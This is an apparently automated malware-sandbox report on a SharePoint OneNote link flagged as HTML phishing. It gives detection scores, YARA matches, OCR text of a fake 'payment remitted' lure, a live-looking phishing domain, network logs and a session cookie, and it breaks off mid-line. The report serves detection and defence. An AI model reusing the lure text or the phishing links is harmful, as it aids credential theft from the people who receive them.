Edit tour

Windows Analysis Report
https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm

Overview

General Information

Sample URL:	https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm
Analysis ID:	1432019
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish62

Phishing site detected (based on shot match)

HTML page contains hidden URLs or javascript code

Phishing site detected (based on OCR NLP Model)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2012,i,8703808691657293338,11271876919328152257,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
4.15.pages.csv	JoeSecurity_HtmlPhish_62	Yara detected HtmlPhish_62	Joe Security
4.24.pages.csv	JoeSecurity_HtmlPhish_62	Yara detected HtmlPhish_62	Joe Security
4.21.pages.csv	JoeSecurity_HtmlPhish_62	Yara detected HtmlPhish_62	Joe Security
4.18.pages.csv	JoeSecurity_HtmlPhish_62	Yara detected HtmlPhish_62	Joe Security

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://www.google.com/recaptcha/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" content="IE=edg...

Source: Chrome DOM: 1.1	ML Model on OCR Text: Matched 83.2% probability on "Payment Information Help File Home Insert Draw View Editing 19 12 Styles v Tags A Secure File Has Been Shared With You Thursday, April 25, 2024 11:14 AM THE FOLLOWING PAYMENT HAS BEEN REMITTED. Payment: Electronic Payment Date Currency Apr 25 2024 USD $87, 198 oo Amount Click below for more details on payment and invoice number Files (145KB) View Files NOTICE TO RECIPIENTS The information contained in and accompanying this communication may be confidential, subject to legal privilege, or otherwise protected from disclosure, and is intended solely for the use of the intended recipient(s). If pu are not the intended recipient of this communication, please delete and destroy all copies (including any attachments) in your possession, notify the sender that you have received this communication in error, and note that any review or dissemination of, or the taking of any action in reliance on, this communication is expressly prohibited. "
Source: Chrome DOM: 1.6	ML Model on OCR Text: Matched 92.9% probability on "Payment Information Guest Contributor File Home Insert Draw View Help Viewing Tell me what you want to do 19 Styles v Tags Payment Information A Secure File Has Been Shared With You P Payment Remittance A Secure File Has Been S... Thursday, April 25, 2024 11:14 AM THE FOLLOWING PAYMENT HAS BEEN REMITTED. Payment: Electronic Payment Date Currency Apr 25 2024 USD $87, 198 oo Amount Click below for more details on payment and invoice number Files (145KB) View Files NOTICE TO RECIPIENTS The information contained in and accompanying this communication may be confidential, subject to legal privilege, or otherwise protected from disclosure, and is intended solely for the use of the intended recipient(s). If pu are not the intended recipient of this communication, please delete and destroy all copies (including any attachments) in your possession, notify the sender that you have received this communication in error, and note that any review or dissemination of, or the taking of any action in reliance on, this communication is expressly prohibited. "

Source: https://4odq.cxnev1.ru/1L9z9v39/	HTTP Parser: No favicon
Source: https://4odq.cxnev1.ru/1L9z9v39/	HTTP Parser: No favicon
Source: https://4odq.cxnev1.ru/1L9z9v39/	HTTP Parser: No favicon
Source: https://4odq.cxnev1.ru/1L9z9v39/	HTTP Parser: No favicon
Source: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	HTTP Parser: No favicon
Source: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&s=p3PtVr9Rtc4zmVzsCHKovX43dv5ANmW4EHR9iS5ZRMIIERAfjGKzDw3w1miK0y9PbgnSQoncU4tpDcwY7U7I3H8AzWBIeIONPriGr-t350iz5rLlDnHnMsn8yHgPokxAlmiESfF9AloqhxAdR76omyagk91xvML4Zgl45cqaApyGFdTskMdQ5ovLMg_jWYZPNfaQGMkckH4WakBpGFZsgOrmbnGxvK-bAkHbTTEPDuj2EcntrL5pG7v9LQ6p5TbmtOdzjdBPXkSX3nRP41yJg3vY3C02z8E&cb=b3wwlq48xfop	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=63zqkenm1gfs	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=63zqkenm1gfs	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=c7ns1b39xrgu	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=c7ns1b39xrgu	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 23.213.224.106:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.213.224.106:443 -> 192.168.2.4:49751 version: TLS 1.2

Source:	Binary string: d(64967);this.Le\|\|(null!==this.nib&&(w.a.removeHandler(window.self,"scroll",this.nib),w.a.removeHandler(window.self,"resize",this.$rc),this.$rc=this.nib=null),X.la&&X.la.gB&&this.p4&&this.Bi&&X.la.gB.Kr(this.p4,this.Bi),this.hd=this.Zm=this.Bi=null,this.nXa&&this.nXa.BUd&&this.nXa.vJd(),this.nXa=null,this.Ab&&G.a.xAa(this.Ab)&&this.iz(this.vB),this.rz=this.mv=this.L$=this.v_a=this._body=this.gh=this.Gma=this.p4=this.Io=this.nJ=this.pJ=this.oJ=this.oz=this.xL=this.Ab=this.Pdb=this.vB=null,L.KE=null, source: chromecache_289.2.dr
Source:	Binary string: this.vB.className="WACDialogOuterContainer";this.Pdb=this.gh.createElement("div");this.Pdb.id=this.eh("WACDialogInnerContainer");this.Pdb.className="WACDialogInnerContainer";this.Ab=this.gh.createElement("div");this.Ab.id=this.eh("WACDialogPanel");this.Ab.className=X.la&&X.la.Ra.LG?"MLRVisualRefresh "+this.jFe:this.jFe;this.Pgc&&(this.Ab.className+=" FullDocumentPanel");X.i0e?this.Ab.setAttribute(P.a.Ac,P.a.Wtc):this.Ab.setAttribute(P.a.Ac,P.a.Lwd);this.Ab.setAttribute(P.a.yR,this.eh("WACDialogTitleText")); source: chromecache_289.2.dr
Source:	Binary string: (this.Sf.close(),this.Sf=null)}static get instance(){return Oa.xa\|\|(Oa.xa=new Oa(()=>f.a.instance.Aa("Common.Interface.IEditNotificationManager")))}static get rRf(){return Oa.sfb\|\|(Oa.sfb=f.a.instance.resolve("Wonca.KickoutExecutor"))}}Oa.xa=null;Oa.sfb=null;(0,T.a)(Oa,"WordAutoSaveOperation",null,[]);class Na extends S.a{constructor(Aa,Va,sb,vb,Tb,Lb,Hb,ac,Jb,hb,ec,lc,Uc,Vb,qa,tb,Mb,Yb,Ub,nc){super();this.VU=null;this.$Ee=new F.a;this.Le=this.l5=!1;this.pDb=0;this.UU=[];this.Gjc=!1;this.JNe="";this.kOe= source: chromecache_289.2.dr
Source:	Binary string: da.firstChild):this.L$.insertBefore(this.vB,this.L$.firstChild)}else this.L$.insertBefore(this.vB,this.L$.firstChild);this.vB.appendChild(this.Pdb);this.Pdb.appendChild(this.Ab);this.nib\|\|(this.nib=this.Ksj,this.$rc=(0,k.a)(this,this.Poe,"sizeFix"),w.a.addHandler(window.self,"scroll",this.nib),w.a.addHandler(window.self,"resize",this.$rc));this.Bi=new B(this.Ab);X.la&&X.la.gB.In(this.p4,this.Bi);L.POb()&&this.Khj()}QRc(X,da){const ba=this.gh.createElement("button");this.CGa[X]=ba;ba.id=this.eh(da); source: chromecache_289.2.dr
Source:	Binary string: (this.yu=f.a.instance.Aa("Box4.ITypingProcessManager"))}get E6(){return this.pDb}get jT(){return this.aWg}get V7(){return!this.jgb.kVb}K9b(Aa){this.jgb.kVb=!Aa}get lN(){return this.bY}get PBd(){return this.Mfc}Up(Aa,Va,sb){sb=void 0===sb?null:sb;const vb=new F.a;vb.add((new Date).toISOString());vb.add(Aa);vb.add(Va);sb&&vb.add(sb);Aa=vb.toArray().join("\|");this.$Ee.add(String.format("[{0}]",Aa))}Lgg(){this.Up("logRetrvl","call",this.lN);return this.$Ee.toArray().join("")}w6b(Aa){this.VA.B5a(Aa,sa.b(Aa.RevisionList[0].BaseId), source: chromecache_289.2.dr
Source:	Binary string: null;this.o_a=t;this.pdb=-1;this.Agc=0;this.xgc=0<t.B1.length?t.B1[0]:w.empty}moveNext(){this.pdb++;this.pdb===this.xgc.Yob?(this.my=this.o_a.pda[this.Agc++],this.pdb=this.xgc.T4a-1,this.xgc=this.Agc<this.o_a.b8a?this.o_a.B1[this.Agc]:w.empty):this.my=this.pdb<this.o_a.RY.length?this.o_a.RY[this.pdb]:null;return!!this.current}reset(){this.pdb=-1;this.Agc=0;this.my=null;this.xgc=0<this.o_a.B1.length?this.o_a.B1[0]:w.empty}get current(){return this.my}$u(){throw Error.notImplemented();}}(0,T.a)(F,"TableRowOrCellMixedContextIterator", source: chromecache_289.2.dr
Source:	Binary string: if(0<(this.enabled&1)){if(!Aa)return this.jT.event(-4),!1;if(this.wn())return this.pDb=Va,Aa=this.MSd(),this.jT.event(Aa?8:-3),!Aa}if(!Aa)return this.pDb=Va,this.jT.event(-1),!1;if(0<(this.enabled&2)&&this.Qqi()){if(!this.a5a())return this.jT.event(-1),!1;Aa=this.MSd();this.jT.event(Aa?7:-3);return!Aa}this.sq.$W();this.jT.event(-2);return!1}get eYd(){return!this.wn()&&(!this.aB\|\|""===this.aB)}WEf(){return this.sq.LBa()}hTd(){let Aa;Aa=this.pDb;if(this.hvc&&this.V7&&this.elb&&this.eH){const Va=this.eH.fve()? source: chromecache_289.2.dr
Source:	Binary string: null}vxc(a,c){this.pii();var n=Object.assign(new dg,{wf:a.wf});n=new HE.a(n,this.PDb,null);n.dataSource=a.dataSource;if(!n.S7e(a.NKc,null))throw Error.create("Jewel could not be built");if(a=n.Xy)a.Dr=c,a.ARc();return a}pii(){this.PDb=cd.a.createElement("div");this.PDb.id="jewelcontainer";this.PDb.className="cui-jewel-container";this.PDb.style.display="block"}}(0,S.a)(VC,"LegacyFileMenuFactory",null,[1147]);class ju{constructor(a,c,n){this.Tac=a;this.WLe=this.Tac.qCa;this.sOc=d.a.instance.Aa("Common.IOfficeTrialExperience"); source: chromecache_306.2.dr
Source:	Binary string: appChrome.api.dispatch(Q));return 32};u.AFrameworkApplication.sa.na(Pa.a.oca,Zb.a.frame,this.Qdj)}k0d(){appChrome.api.dispatch(appChrome.actions.updateFileMenuExpandedValue(!0))}GW(){}ARc(){}LGd(){}}(0,S.a)(zf,"ReactFileMenu",null,[1068]);class fA{vxc(){const a=new zf,c=[];c.push(appChrome.actions.updateFileMenuExpandedValue(!1));c.push(appChrome.actions.updateFileMenuDisabledValue(!1));appChrome.api.dispatch(c);return a}}(0,S.a)(fA,"ReactFileMenuFactory",null,[1147]);var HE=V(24363);class VC{constructor(){this.PDb= source: chromecache_306.2.dr
Source:	Binary string: void 0===aa?!1:aa;super(document.createElement("div"));this.Pgc=this._id=null;this.jFe="WACDialogPanel";this.Mlc=this.L$=this.v_a=this._body=this.Gma=this.p4=this.rl=this.Ab=this.Pdb=this.vB=this.Io=this.nJ=this.pJ=this.oJ=this.oz=this.xL=this.$rc=this.nib=this.nXa=this.Bi=this.hd=this.Zm=this.Vs=this.n0=this.SD=this.Xwa=null;this.xmc="OK";this.Hma="Cancel";this.iDe="Close";this.Xsd="Yes";this.Wid="No";this.$Ue="Retry";this.USe="Permanently Delete";this.qWe="Share and notify";this.Acb="Action";this.chb= source: chromecache_289.2.dr
Source:	Binary string: "HandleVisibilityChange IsAppHidden {0}, ReplicatedWhileHidden {1}",2===Va.newState,this.eUc),2!==Va.newState&&this.eUc&&(this.eUc=!1,this.sq.yqf(),this.qY.NW()))}$og(){return B.AFrameworkApplication.$.getBooleanFeatureGate("Microsoft.Office.OneNoteOnline.ONOReplicateEarlyWhenVisibleAgain",!1)}get Icc(){return this.wsd}set Icc(Aa){this.wsd=Aa}b5a(){this.pDb=K.AReplicationScheduler.WNc;if(this.pc&&2===this.pc.status)return this.jT.event(-3),!0;if(this.Le\|\|this.l5)return this.jT.event(1),!1;if(this.NBe&& source: chromecache_289.2.dr

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.213.224.106
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm HTTP/1.1Host: usigroups-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/js_usigroups_com/_layouts/15/Doc.aspx?sourcedoc=%7B4275c7cd-9559-49b5-9e00-8913e67b2426%7D&action=default&slrid=72b922a1-606a-5000-1e3f-a1efd5f66a0e&originalPath=aHR0cHM6Ly91c2lncm91cHMtbXkuc2hhcmVwb2ludC5jb20vOm86L3AvanMvRXMzSGRVSlpsYlZKbmdDSkUtWjdKQ1lCVVRadmQxWkNNUXdaaGhsUW95X2hEdz9ydGltZT1femwzd01abDNFZw&cid=1ce6514f-d17e-4450-a36c-695e66f4f888&_SRM=0:G:105 HTTP/1.1Host: usigroups-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2UzZTQyMjNiNWUyYzNhMzg2N2RhNWE3NjVjYjI0ZDQ1Yjk5ZjlmMTllZWViNTNlYTA4ZTgzNGQ3ODZiZTBiM2QsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZTNlNDIyM2I1ZTJjM2EzODY3ZGE1YTc2NWNiMjRkNDViOTlmOWYxOWVlZWI1M2VhMDhlODM0ZDc4NmJlMGIzZCwxMzM1ODU5MjI0ODAwMDAwMDAsMCwxMzM1ODY3ODM0ODY1ODA3NzcsMC4wLjAuMCwyNTgsOWY1YWU1ZTAtZjQ2OC00NGMyLThiYWEtZTZlN2JjMzZjNzEwLCwsNzJiOTIyYTEtNjA2YS01MDAwLTFlM2YtYTFlZmQ1ZjY2YTBlLDcyYjkyMmExLTYwNmEtNTAwMC0xZTNmLWExZWZkNWY2NmEwZSw4dmZuak5wRUQwYWxOc2RkRlZ5Tzd3LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTMzMDYsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LE83Z1N1Wi9VQ2FKVEs5a2oyZjdVbzQ1S3E2K0dYb3RYazA2QTc4cXIzbmU4VUN1R1Z1S3JxaWVhT2p5RGhRNE1kMU9MVEQzem8vMjRPMis2UU0vTlpLK281WmJRQXVGOVdKK2xaRGVUd1FLOEFrSEk3SGRLcnplNmNtTVd4YytXbnArdkd0bmFoSUdsQlpSU1ZQYzlUcWR4Q3BlSUMxeDVTOURkUjM1QzB3QlhTRXEwT3FrOVMyWGJ5YnRXdmJMeURib0JjWjRQbm0wd21IV21kVjBOWmV4MDlVOXc0RXZCaEdHdGxvdG83TVNXRjYycExKQ09nZllZOHFLaGVZR1RTNk9oTmRrYWxnUXFzVzlQa0oyYkdXYWVneUtsY21HRUJoRHlLckpTUkU1QVRZR2p2cjJMR3E0WkRDSlRzYjU5c29PVUpPbjFUbmIzOG8wYUdEa1Fldz09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.slim.904b646243df598ab119.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usigroups-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise/owl/onenote-boot.9b8b959024767cc8e6ba.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Source: global traffic	HTTP traffic detected: GET /o/OneNote.ashx HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Source: global traffic	HTTP traffic detected: GET 